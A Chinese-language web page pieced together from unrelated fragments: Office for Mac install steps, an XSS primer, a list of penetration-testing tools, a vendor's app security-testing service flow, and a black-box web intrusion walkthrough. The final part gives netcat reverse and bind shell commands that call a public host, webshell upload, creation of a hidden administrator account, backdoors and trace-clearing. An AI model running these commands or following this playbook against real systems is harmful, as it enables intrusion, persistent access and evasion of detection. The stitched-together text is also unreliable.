office of MAC 文件大小的1个多G， 后缀名是*.iso。需要你在网上下载。用U盘拷到你的MAC上。双击打开MAC上的"Microsoft Office 2011.iso"，按步骤一步步安装就可以了。安装完成后的，MAC最下面一栏里就会出现W/P/X/0几个图标的。说明你已经完装好了，可以使用了。
xss 全称跨站脚本攻击
本身不能对服务器产生影响，而是对浏览者或页面产生影响
分三种，反射型，存储型，DOM型
原理，对用户输入不过滤，导致输入信息转为JavaScript或html执行
简单用法盗取cookie，弹窗，页面跳转等，可配合csrf甚至是sql注入使用。
以上为纯理论，如何构造有效负荷请自行谷歌。
We are CLAY. No system is safe.
第一类：网络渗透测试工具
网络渗透测试工具是一种可以测试连接到网络的主机/系统的工具。通用的网络渗透测试工具有ciscoAttacks、Fast-Track、Metasploit、SAPExploitation等，这些工具各有各的特点和优势。因为网络渗透测试是一个相对广泛的概念，所以上述工具也可以包括社会工程学渗透测试模块，网络渗透测试模块和无线渗透测试模块。
第二类：社会工程学渗透测试工具
社会工程学渗透测试是利用社会工程学进行渗透测试，通常利用人们行为中的弱点来达到渗透的目的。典型的社会工程学渗透测试工具有BeefXSS和HoneyPots，这些工具诱使用户访问特定的网站，获得用户的Cookie信息，达到渗透的目的。
第三类：网站渗透测试工具
网站渗透测试是对Web应用程序和相应的设备配置进行渗透测试。在进行网站渗透测试时，安全工程序必须采用非破坏性的方法来发现目标系统中的潜在漏洞。常用的网络渗透测试工具有asp-auditor、darkmysql、fimap、xsser等。
第四类：无线渗透测试工具
无线渗透测试工具是蓝牙网络和无线局域网的渗透测试。在进行无线渗透测试时，一般需要先破解目标网络的密码，或者建立虚假热点来吸引目标用户访问，然后通过其他方式控制目标系统。常见的蓝牙网络渗透测试工具有atshell、btftp、bluediving、bluemaho等;常见的无线局域网渗透测试工具有aircack-ng、airmon-ng、pcapgetiv和weakivgeng等，这些工具实现了不同的功能，可以让安全工程师通过各种方式进行无线渗透测试。
渗透测试网站和APP不太一样，以下我介绍一下APP的渗透测试过程吧！
工具
知道创宇安应用
Android（安卓）APP
方法/步骤
组件安全检测。
对Activity安全、Broadcast Receiver安全、Service安全、Content Provider安全、Intent安全和WebView的规范使用检测分析，发现因为程序中不规范使用导致的组件漏洞。
代码安全检测
对代码混淆、Dex保护、SO保护、资源文件保护以及第三方加载库的代码的安全处理进行检测分析，发现代码被反编译和破解的漏洞。
内存安全检测。
检测APP运行过程中的内存处理和保护机制进行检测分析，发现是否存在被修改和破坏的漏洞风险。
数据安全检测。
对数据输入、数据存储、存储数据类别、数据访问控制、敏感数据加密、内存数据安全、数据传输、证书验证、远程数据通信加密、数据传输完整性、本地数据通讯安全、会话安全、数据输出、调试信息、敏感信息显示等过程进行漏洞检测，发现数据存储和处理过程中被非法调用、传输和窃取漏洞。
业务安全检测。
对用户登录，密码管理，支付安全，身份认证，超时设置，异常处理等进行检测分析，发现业务处理过程中的潜在漏洞。
应用管理检测。
1）、下载安装：检测是否有安全的应用发布渠道供用户下载。检测各应用市场是否存在二次打包的恶意应用；
2）、应用卸载：检测应用卸载是否清除完全，是否残留数据；
3）、版本升级：检测是否具备在线版本检测、升级功能。检测升级过程是否会被第三方劫持、欺骗等漏洞；
渗透测试服务流程
1、确定意向。
1）、在线填写表单：企业填写测试需求；
2）、商务沟通：商务在收到表单后，会立即和意向客户取得沟通，确定测试意向，签订合作合同；
2、启动测试。
收集材料：一般包括系统帐号、稳定的测试环境、业务流程等。
3、执行测试。
1）、风险分析：熟悉系统、进行风险分析，设计测试风险点；
2）、漏洞挖掘：安全测试专家分组进行安全渗透测试，提交漏洞；
3）、报告汇总：汇总系统风险评估结果和漏洞，发送测试报告。
4、交付完成。
1）、漏洞修复：企业按照测试报告进行修复；
2）、回归测试：双方依据合同结算测试费用，企业支付费用。
Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透，以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。一般的渗透思路就是看是否有注入漏洞，然后注入得到后台管理员账号密码，登录后台，上传小马，再通过小马上传大马，提权，内网转发，进行内网渗透，扫描内网c段存活主机及开放端口，看其主机有无可利用漏洞（nessus）端口（nmap）对应服务及可能存在的漏洞，对其利用（msf）拿下内网，留下后门，清理痕迹。或者看是否有上传文件的地方，上传一句话木马，再用菜刀链接，拿到数据库并可执行cmd命令，可继续上大马.........思路很多，很多时候成不成功可能就是一个思路的问题，技术可以不高，思路一定得骚。
信息收集
信息收集是整个流程的重中之重，前期信息收集的越多，Web渗透的成功率就越高。
DNS域名信息：通过url获取其真实ip,子域名(Layer子域名爆破机)，旁站(K8旁站，御剑1.5)，c段，网站负责人及其信息（whois查询）
整站信息：服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型；
网站常见搭配为：
ASP和ASPX：ACCESS、SQLServer
PHP：MySQL、PostgreSQL
JSP：Oracle、MySQL
敏感目录信息（御剑，dirbust）
开放端口信息（nmp）
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描，看其是否有可利用漏洞。
常见漏洞：
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如：
Sql注入（sqlmap）
XSS（BEEF）
后台密码爆破（burp）
端口爆破（hydra）
提权
获得shell之后我们权限可能很低，因此要对自己提权，可以根据服务器版本对应的exp进行提权，对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法：
反向连接
在公网主机上进行监听：
nc-lvp 4444
在内网主机上执行：
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行：
nc-l -p 4444 -t -e cmd.exe
本地主机上执行：
nc-vv 远程主机ip4444
成功后，本地主机即可远程主机的一个shell
然后就是对内网进行渗透了，可以用主机漏洞扫描工具（nessus,x-scan等）进行扫描看是否有可用漏洞，可用msf进行利用，或者用nmap扫描存活主机及开放端口，可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马，留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工：
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到，但在控制面板可以看到，还需要改注册表才能实现控制版面也看不到，太过麻烦，不多赘述，所以还是用工具省心省力。
我来说两句